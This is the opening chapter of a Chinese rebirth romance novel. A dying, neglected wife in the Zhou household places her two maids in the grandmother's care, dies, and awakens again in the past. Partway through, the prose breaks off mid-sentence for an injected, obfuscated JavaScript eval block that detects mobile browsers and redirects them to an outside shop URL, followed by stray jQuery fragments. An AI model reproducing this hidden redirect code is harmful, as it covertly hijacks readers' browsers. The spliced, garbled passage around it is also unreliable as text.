1. 第1章

作品:《唯有香如故(双重生)

    落了一夜的雪在地上积起一层匀净的白,偌大的周府浸在被雪吸了音的寂静里,只余下风过枯枝的细微呜咽。


    雪还在下,绿萼呵着白气,步履匆匆地踩在未及扫净的薄雪上,身后刚留下的印痕旋即又被新落的雪粒子覆盖。


    “姐姐来得不巧,长公子有事外出了。”


    叩开观澜院的门时,司棋稚气的脸上带着与年纪不相符的沉静清冷,就跟他的主子一样,温和有礼,却又带着淡淡的疏离。


    绿萼望着这个十岁书童的坦然目光,脸上浮上一丝失落,问司棋:


    “可知长公子何时回来?”


    司棋道:


    “长公子没说。”


    “那等长公子回来能否请他去一趟蒹葭院,就说我们少夫人有事找长公子。”


    “姐姐放心,待长公子回来,我一定第一时间告知。”


    出了观澜院,绿萼想起在来时自家少夫人的交代,说一定要让长公子过去一趟。


    也不知少夫人突然要找长公子何事?


    自少夫人生病以来,还从未要主动找过长公子,可现下长公子出门去了,少夫人见不到人,定然会失望。


    绿萼满心惆怅,想起少夫人那张消瘦没有一丝活气的脸,便心疼不已。


    回到蒹葭院时,朱砂红着眼圈从里屋走出来,见到绿萼,偏头看了眼她身后,“长公子没来?”


    绿萼轻叹一声,“长公子有事外出了。”


    朱砂顿时来了气,“这大雪天的,今日又是休沐日,能……”


    她话说一半便被绿萼捂了嘴,绿萼在她耳边轻声提醒:


    “又忘了之前的教训了?”


    半月前,朱砂刚为少夫人煨好的粥被四姑娘的婢女秋月碰洒了,秋月非但没有丝毫歉意,还指责朱砂自己没拿好,两人因此发生争吵。


    朱砂觉得秋月之所以这般嚣张无礼,无非就是得了四姑娘的势,四姑娘平日就处处看少夫人不顺眼,总针对少夫人,有其主必有其仆。


    朱砂一气之下口不择言,将以往四姑娘主仆的种种恶行全部骂了出来,此事最后闹到了老夫人旬宁郡主及主母王夫人面前,四姑娘也因此被老夫人罚跪了一天祠堂。


    而朱砂与秋月则因争执吵闹被下令打十下板子,朱砂屁股上的伤到现在还没好全。


    这会儿朱砂意识到自己一时失言,随将到口的话生生憋了回去,原本红着的眼圈便再忍不住掉下两滴泪来。


    若是长公子也能住在这蒹葭院,何至于让少夫人想要见他一面都这么难。


    从新婚第二日,长公子就与少夫人各住一处,少夫人住这蒹葭院,长公子住观澜院,只每月逢六的日子,长公子会来少夫人房中过夜。


    可自少夫人生病后,近几个月来,连那两三夜也不曾有了。


    可怜她们少夫人曾欢欢喜喜地嫁进来,日日变着花样想要讨长公子欢心,处处为他着想,就连婆母的冷待,小姑子的欺凌,她是能忍则忍,能避则避,没在长公子面前多说一句她们的不是。少夫人嘴上说怕长公子夹在中间为难,但其实她们都知道,即使说了也没用,长公子不会心疼少夫人。


    绿萼拿出帕子为朱砂拭去颊边的泪,叮嘱道:


    “等会儿别在少夫人面前哭,也不要说那些刺耳的话,省得更惹少夫人难过。”


    朱砂点点头。


    绿萼又问道:


    “少夫人还醒着吧?”


    “醒着呢。就盼着长公子来。”朱砂哽噎答道。


    两人整理好情绪走了进去,床上形容枯槁的女子抬眸朝她们望过来,在看到二人身后空空如也,原本期盼的目光瞬间黯淡下去。


    绿萼和朱砂越发难受了,绿萼坐到床边轻声跟床上的女子回道:


    “少夫人,长公子有事外出了,奴婢已跟司棋交代了,待长公子回来,就立刻请他过来看望少夫人。”


    云宓静静地听着,没有作声。


    这其实是预料之中的。


    她想见他,从来都很难。


    她强撑着沉重的眼皮虚弱开口:


    “扶我起来……洗漱更衣。”


    说着就挣扎着要起身。


    绿萼和朱砂忙伸手去扶,绿萼问:


    “少夫人要去哪儿?”


    “去见祖母。”


    两个丫头不让,“外头下着雪呢,天寒地冻的,少夫人会受不住的。少夫人若有什么急事,我和朱砂代少夫人去说便是。”


    “让我……起来。”


    云宓不顾两个丫头的阻拦,瘦得只剩皮包骨的手紧抓着绿萼,孱弱地抗议着。


    绿萼和朱砂眼泪都出来了。


    这种天气,少夫人若出门去,身子哪能受得了。


    可看她固执的模样,两人又不忍多加阻拦。


    朱砂眼见拦不住,便道:


    “少夫人稍候,奴婢去请老夫人过来。”


    说着转头就往外走。


    “慢着。”云宓吃力地喊住她,“你们……也说了,外头下着雪……天冷路滑,祖母……年纪大……怎能让她老人家……前来。”


    朱砂停了脚步。


    少夫人说得对。


    外面那么冷,路上都结着冰,万一老夫人在来的途中受了寒或者摔倒受伤,那蒹葭院的罪过可就大了。


    在云宓的坚持下,绿萼和朱砂只好细心地服侍她洗漱穿戴,用斗篷将她裹得严严实实,绿萼背着她,朱砂在后扶着,主仆三人顶着风雪出了门。


    面对外头雪亮的天光,云宓一时有些不适应。


    可她还是忍不住抬眼看向那些久违的雪景,贪婪地呼吸着外头清新的空气。


    她已经很久没有出过房门了,每日只能躺在床上,连下床都艰难。


    她突然忆起嫁进周家的那一天,也是这么一个大雪天。


    再往前一年,同样是这么一个雪天,城郊一片老梅林里,一身霜色滚边裘衣的周砥挑开头顶的冽艳梅枝,就这么闯入她的视线,他清朗干净得像是从冰天雪天里化身而来的梅魂雪魄。


    只那一眼,他便在她心里扎了根。


    可爱慕他的女子那么多,唯独她成为旁人茶余饭后的笑柄。


    只因她出身商贾,而他,不仅出自有着千年底蕴的兰陵望族,还是春闱时圣上钦点的探花郎,与她有着云泥之别,她却不知天高地厚地想要高攀。


    之后明昭二年的中秋节,圣上因感念她父亲在危急关头捐赠军饷的功劳,不仅给五哥赐了官,还要为她赐婚,问她是否有中意之人。


    她毫不犹豫地看向了人群中的周砥,“我想要嫁给他。”


    成亲那一天,雪花纷飞,周砥着乌纱红袍,肩披织金锦缎,骑着高头大马来迎她,大红的衣袍上覆了一层薄薄的细雪,轮廓分明的白皙脸庞被雪光映得越发通透清冷,他呵气如霜地立于门前,目中一片冰冷。


    可她还是很开心。


    开心终于能够嫁给他。


    ……


    好冷啊!


    尽管绿萼和朱砂给她穿得很多,可此时她还是觉得冷,浑身都禁不住哆嗦。


    她不敢再看雪景了,不敢再对着空气呼吸了,更不敢去回忆那些过往点滴,要不然心也会跟着冷。她把脸埋进绿萼瘦削的肩头,索取一点温暖。


    “真羡慕秋月她们,可以跟着长公子和四姑娘一起去城郊赏梅。”


    前方的廊柱后突然传来说话声。


    “长公子是出门办事的,可不是去赏梅的。”


    “你知道什么。不过是借着办事的由头罢了,我可是亲眼看到林家姑娘和四姑娘一起坐在马车里。”


    “你是说,林家姑娘也在?”


    “那还有假。”


    听到这里,绿萼和朱砂心里既难受又气愤,禁不住顿了脚步,想听听那些人接下来还会说些什么。


    可云宓却轻声催促:


    “快走。”


    两人不禁看一眼自家主子,见她眼睑低垂着,脸上没有丝毫情绪。


    可她越是这般平静,两个丫头却越发地难受。


    哀莫大于心死,悲莫过于无声。


    她们少夫人,已经彻底心死了!


    廊柱后的两个婢女听到近前来的脚步声,转身来看,随神色慌张地走向前来行礼。


    三人视若无睹地从她们面前经过。


    身后隐隐的说话声传来:


    “少夫人当真是病得重了。”


    “可不是。听说林家姑娘上个月本来要议亲的,之后又拖了下来。”


    “你是说……”


    随着说话声渐渐隐去,绿萼和朱砂只觉心中一片冰凉。


    眼泪无声无息地溢出了眼眶。


    主仆三人行至主院,老夫人旬宁郡主一见虚弱得不成样子的云宓,又是心疼又是责怪,赶紧让人过来搭把手将她搀了进去。


    可云宓却顾不上坐,颤巍巍地朝老夫人跪下了。


    “祖母。”


    她声若蚊蝇地唤了一声。


    老夫人赶忙拉着她,“有何要紧事非得你自己过来,快起来说。”


    云宓却不肯,由两个丫头搀着继续跪着,她满脸恳切地道:


    “祖母,孙媳有件事……想要……拜托祖母。”


    老夫人满眼心疼地望着她寡瘦的脸颊,一时红了眼眶,“孩子,你说。”


    云宓看了眼身边两个丫头,道:


    “祖母,云家……已经没了。如今绿萼和朱砂……便是我……唯一的亲人。孙媳……将她们两个……托付给祖母……待我死后,烦祖母……将她们放良,给她们找一个……可靠的人家,好好……好好过日子。”


    此事她本想托给周砥。


    与他夫妻两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575938|187110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    载,他虽不爱她,可他到底是个正人君子,她若求他,他必会应允。


    可她见不到他,她怕自己等不到他来。


    老夫人是周家唯一善待她的人。两年来,只有她真正把她当作周家的一份子。


    将绿萼和朱砂交给她老人家,她是放心的。


    “傻孩子,你说什么话啊?”老夫人已是老泪纵横,“你一定会好起来的。麟奴给你请的大夫是京城最好的,一定能治好你的。”


    绿萼和朱砂此时抱着自己主子亦是泪如雨下。


    刚才临出门时,少夫人让她们二人各自把自己的身契带在身上,两人就已大致猜到,少夫人来找老夫人是为给她们安排后路的。


    四姑娘仇视蒹葭院的人,尤其视朱砂为眼中钉,而主母王夫人明知四姑娘平日没少欺辱她们蒹葭院,可只要没闹到明面上便装聋作哑,长公子和老爷又不管内宅事,而老夫人年事已高,也鲜少过问俗务,倘若少夫人真撒手人寰,留下她们两个遗仆,还不得任人糟践?!


    少夫人做的这一切,都是为了她们。


    云宓眼中亦有一滴清泪落下,她道:


    “祖母,我的身体……我心里有数的,我……并不畏死,您……不用为我难过。这两年来……孙媳……一直很感激……您对我的爱护,只是……日后不能在您身边……尽孝了。”


    “孩子,我知道,这两年你受委屈了。”


    麟奴那孩子平日也不是个无情之人,偏偏就对他这个妻子很是冷淡,他母亲和妹妹亦没少给她难堪。


    这孩子刚来时,还热情得像团火。渐渐地,那火焰慢慢就弱了下去,直到如今,就要油尽灯枯。


    回去时,老夫人让人特意备了步撵将云宓抬回了蒹葭院,云宓没清醒一会儿便昏昏然睡了过去。


    待再次醒来,屋子里已是烛光摇曳,外头雪亮的光已被无边的黑暗淹没。


    云宓只觉眼前所见竟都是模模糊糊的,怎么也看不真切了。


    这是临死之兆吗?


    恍惚中她似听见她的五哥在喊她:


    “小官,快起来,带你玩雪去。”


    “快点小懒猫,城郊那片梅林开花了,带你去看。”


    是五哥来看她了么?


    她睁大眼睛四处观望、寻找。


    却寻不见五哥的身影。


    只隐约看见绿萼和朱砂的身影在眼前晃动。


    “五哥来了吗?”她忍不住出声问。


    绿萼和朱砂神色一怔,见她像是迷糊了,心底又泛起一阵悲意。


    绿萼轻声说道:


    “五公子没来,少夫人想是做梦了。”


    是做梦吗?


    可她明明听见五哥在喊她。


    “五哥来接我了!”


    她喃喃自语道。


    绿萼和朱砂一听,眼泪忽地下来了。


    “少夫人,您一定会好起来的。”


    云家在半年前被卷入郢王谋反案,但凡十五岁以上的男丁或斩或绞,十五岁以下男子及母、妻、女、伯、叔、侄等一律流放去了西南夷障之地,而五公子早在半年前就被处以绞刑,就连少夫人的母亲,也在流放的途中不幸死去。


    少夫人本就过得苦,自嫁入周家后,她们眼看着原来朝气蓬勃的姑娘一日日地憔悴、枯萎,在遭遇那一场灭门惨祸后更是忧思成疾,短短几个月便病入膏肓,药石无医。


    影影绰绰中,云宓似看到一个高大挺括的身影朝她走了过来。


    尽管看不清,可她知道那不是五哥。


    而是她曾经心心念念的那个人。


    是幻觉?


    还是他真的来了?


    不管是不是真的,云宓对着那尊模糊的影子虚弱开口:


    “对不住……是我耽误你了。”


    到底是她对不起他,强求了这段姻缘。


    与他成婚之后,她方从周宁口中得知,他本与那林家姑娘情投意合,若不是她在金殿上的一句话,他与林姑娘本该成就佳话的。


    罢了,她终归是要死了,还他自由身。


    云宓感觉意识越来越模糊,身体开始慢慢失去知觉,唯感到耳边一阵呜呜咽咽的哭声。


    后来那片呜咽声也渐渐远去了。


    她知道她已经彻底解脱了,心里说不出地轻松。


    可随之而来的却是另一种嘈杂混乱的声响,像是车轮碾压地面发出的轱辘声,马蹄的嘚嘚声,还有人的说话声,最清晰的莫过于其中一个再熟悉不过的声音。


    是母亲!


    母亲在说话。


    她终于跟母亲团聚了,她就在她身边。


    她的心一下雀跃起来,这样的开心满足她已经许久没有过了。


    “姑娘。”


    “姑娘。”


    “该醒了姑娘。”


    云宓遽然睁开了眼睛。